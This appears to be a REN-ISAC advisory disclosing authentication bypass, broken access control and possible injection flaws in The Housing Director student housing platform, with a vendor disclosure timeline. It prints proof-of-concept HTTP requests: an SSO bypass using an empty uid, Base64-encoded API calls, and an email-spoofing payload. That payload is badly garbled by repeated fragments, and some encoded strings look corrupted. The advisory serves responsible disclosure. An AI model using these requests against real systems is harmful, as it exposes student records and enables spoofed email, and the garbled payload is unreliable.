

# API Authentication Bypass in The Housing Director

#### **Summary**

A vulnerability in The Housing Director, an Adirondack Solutions student housing management platform popular with higher education organizations, allows access to the Application Programming Interface (API) via authentication bypass, including institutional Single Sign On (SSO).

#### **Further Information**

The REN-ISAC received notification from an external researcher of potential vulnerabilities in the API of The Housing Director. While not confirmed, other Adirondack Solutions products may be potentially impacted. The vulnerability includes three major elements.

- 1. Unauthenticated API access/institutional SSO bypass (OWASP A07-2021 Identification and Authentication Failures)
- Weak/insufficient access control to certain records and functions (OWASP A01-2021 Broken Access Control)
- 3. Possible (unconfirmed) arbitrary data write to backend systems (OWASP A03 Injection)

# <u>Element 1: Unauthenticated API access/institutional SSO bypass (OWASP A07-2021 Identification and Authentication Failures)</u>

When signing onto The Housing Director login page, the researcher found that replacing the uid POST parameter with %22%22 (URL-encoded double-quotes back-to-back) in the authentication request yields user data for what appears to be an administrative account with the username "Self-Service."

```
POST /fakeuniversity_THD_PROD_SUPPORT/authenticationAPI.cfc HTTP/1.1
Host: fakeuniversity.datacenter.adirondacksolutions.com
Origin: https://fakeuniversity.datacenter.adirondacksolutions.com
Referer: https://fakeuniversity.datacenter.adirondacksolutions.com/fakeuniversity_thdss_prod_support/splash
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
method=LoginStudentSSO&uid=%22%22
```

Image 1 illustrates the researcher's request using uid %22%22.

```
HTTP 1.1 200 OK
Server: Microsoft-IIs/8.5
Access-Control-Origin: *
Date: Wed, 30 Mar 2022 00:00:00 GMT

{"CREATED":"March, 30 2022 00:00:00", "EXPIRES": "March, 30 2022 00:12:00", "USERID":-2, "GUID": "3E5D8C7C-5056-0113-37D937
9462B23166", "STUDENTID":-99, "TOKEN": "0C10792FCD5C77FECCBC3CE22D0E686D", "USER_DATA": {"ADMINISTRATOR":-1, "ACTIVE":-1, "USERGROUPID":1, "IS_DARK_MODE":"", "SEASON_END":"", "LAST_TIMEFRAME_ID":0, "USERID":-2, "USERNAME": "Self-Service", "CUSTOM_SCR
EEN_POS":1, "CUSTOM_SCREEN_COLS":2, "USERGROUPNAME": "Administrative", "SEASON_START": ""}}
Image 2 reflects the authentication response to uid of "" as "USERNAME": "Self Service"
```

It's possible this "Self-Service" account is intended for administrative operations like updating employee and payment information (tax forms, wage information) and student information (registration, records, tax forms). The returned "TOKEN" string is passed along with a hash for authentication in subsequent requests. The hash is seemingly derived from the token string via client-side JavaScript. Generating that hash is left as an exercise to the reader.

# Element 2: Weak/insufficient access control to certain records and functions (OWASP A01-2021 Broken Access Control)

```
POST /fakeuniversity_THD_PROD_SUPPORT/shrinkwrap.cfm HTTP/1.1
Host: fakeuniversity.datacenter.adirondacksolutions.com
Origin: https://fakeuniversity.datacenter.adirondacksolutions.com
Referer: https://fakeuniversity.datacenter.adirondacksolutions.com/fakeuniversity_thdss_prod_support/splash
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
```

eyJ0IjoielwiVE9LRU5cIjpcIjx0b2tlbkhlcmU+XCIsXCJVU0VSSURcIjotMixcIkhBU0hcIjpcIjxoYXNoSGVyZT5cIn0iLCJjIjoidGhkc3MiLCJtIj oiR2V0TXlIb3VzaW5nU2V0dXAifQ==

Image 3 illustrates the HTTP request that uses the TOKEN and HASH fields in a Base64-encoded body

```
HTTP/1.1 200 0K
Content-Type: text/html;charset=UTF-8
Server: Microsoft-IIS/8.5
Access-Control-Allow-Origin: *
Date: Wed, 30 Mar 2022 00:12:22 GMT
Connection: close
```

Image 4 depicts the response to the request shown in Image 3

#### The request is formatted like

```
{"t":"{\"TOKEN\":\"<tokenHere>\",\"USERID\":-
2,\"HASH\":\"<hashHere>\"}","c":"thdss","m":"GetMyHousingSetup"}
```

#### which after Base64-encoding becomes

eyJ0Ijoie1wiVE9LRU5cIjpcIjx0b2tlbkhlcmU+XCIsXCJVU0VSSURcIjotMixcI khBU0hcIjpcIjxoYXNoSGVyZT5cIn0iLCJjIjoidGhkc3MiLCJtIjoiR2V0TX1Ib3 VzaW5nU2V0dXAifO== The Base64-encoded methods such as *GetMyHousingSetup* or *EmailRoomMate* appear to not do authorization checks and allow even low-privileged student users to invoke their use against any student ID or, in the case of the *EmailRoomMate*, spoof emails with customized messages such as:

```
{"t":"{\"TOKEN\":\"<tokenHere>\",\"USERID\":-
2,\"HASH\":\"<hashHere>\"}","c":"thdss","m":"EmailRoomMate","nvpa
irs":"[{\"Name\":\"THDSS_FROM_Email\",\"Value\":\president@somefa
ke.edu\},{\"Name\":\"student_id\",\"Value\":<studentId>},{\"Name\
":\"Use_Preferred_First\",\"Value\":-
1},{\"Name\":\"FirstName\",\"Value\":\"FirstName>\"},{\"Name\":\
"LastName\",\"Value\":\"Student_email\",\"Value\":\"student_email\",\"Value\":\"Student_email\",\"Value\":\"Student_email\",\"Value\":\"Student_email\",\"Value\":\"Student_email\",\"Value\":\"Student_email\",\"Value\":\"Student_email\",\"Value\":\"Student_email\",\"Value\":\"Student_email\",\"Value\":\"Student_email\",\"Value\":\"Student_email\",\"Name\":\"Name\":\"Name\":\"Name\":\"Value\":\"Student_email\",\"Name\":\"Name\":\"Name\":\"Name\":\"Value\":\"Student_email\",\"Name\":\"Name\":\"Name\":\"Name\":\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Name\":\"Name\":\"Name\":\"Name\":\"Name\":\"Student_email\",\"Name\":\"Name\":\"Name\":\"Name\":\"Name\":\"Student_email\",\"Name\":\"Name\":\"Name\":\"Name\":\"Student_email\",\"Name\":\"Name\":\"Name\":\"Name\":\"Name\":\"Student_email\",\"Name\":\"Name\":\"Name\":\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Name\":\"Name\":\"Name\":\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"Name\":\"Student_email\",\"N
```

Once Base64-encoded and POST'd to the correct API endpoint, it will send an email to the desired student from the spoofed *THDSS\_FROM\_Email* field if the domain matches an institution that uses The Housing Director (which can serve to enumerate institutions using the THD service).

## Element 3: Possible (unconfirmed) arbitrary data write to backend systems (OWASP A03 Injection)

While no supporting evidence, there's some concern that the *InsertLogEntry* method may allow arbitrary data in the URL field which, if true, could be used for purposes like stored XSS or attempts to inject Log4j strings:

```
{"t":"{\"TOKEN\":\"<tokenHere>\",\"USERID\":-
2,\"HASH\":\"<hashHere>\"}","c":"thdss","m":"InsertLogEntry","nvp
airs":"[{\"Name\": \"StudentID\", \"Value\":<idHere>},{\"Name\":
\"LogAction\", \"Value\":\"Logged In\"},{\"Name\":
\"LogActionDetails\", \"Value\":\"\"},{\"Name\": \"AppInUse\",
\"Value\":\"Self-Service\"},{\"Name\": \"URL\",
\"Value\":\https://<institution>.datacenter.adirondacksolutions.c
om/<institutionEndpoint>/navigation/student/my-screen\}]"}
```

### **Mitigation and Detection**

Because this is a cloud-hosted Software as a Service (SaaS) solution, common best practices such as locking down access may be infeasible. While there appears to be some logging functionality available to the service provider (Adirondack), it's unknown how much of that information they make available to customers. Some patches have been deployed by the vendor into the cloud service. Additionally, because this is cloud hosted, it does not qualify for a CVE identifier.

Adirondack did recently inform us that they have some self-hosted solutions, but we've been unable to access those environments for testing and are therefore unable to request a CVE. For self-hosted

versions, it's suggested to reach out to one's account rep with the vendor to acquire any available patches.

## **Disclosure Timeline**

- 2022-Mar-30: Collected initial information from third-party researcher
- 2022-Mar-30: Privately disclosed finding to vendor via support email support@adirondacksolutions.com
- 2022-Mar-30: Attempted to follow-up with call to support number listed on site but no answer after remaining on hold for over 5 minutes
- 2022-Apr-13: Sent follow-up email to vendor requesting acknowledgement of receipt
- 2022-Apr-21: Called phone support again and reached support agent to whom vulnerability details were directly emailed
- 2022-Apr-21: Received email response from vendor's IT Director acknowledging receipt of disclosure
- 2022-Apr-22: Email from vendor's IT Director sharing remediation progress on each of the issues in the disclosure
- 2022-Apr-25: Email from vendor's IT Director with further progress
- 2022-May-05: Requested update via email and received reply that hardened sanitation checking and improved authorization checks would be in the next scheduled update
- 2022-May-12: Vendor's IT Director noted that they had alerted their clients to the vulnerabilities, and some corrections have been rolled into their cloud hosted services
- 2022-June-06: TLP:WHITE public disclosure

#### **Acknowledgments**

Nicholas Dubois (Dragon Eye Intelligence LLC) who discovered and disclosed the issue to REN-ISAC so that it could be responsibly disclosed to the vendor and shared among the Higher Ed community. Also, credit goes to him for the proofs of concept.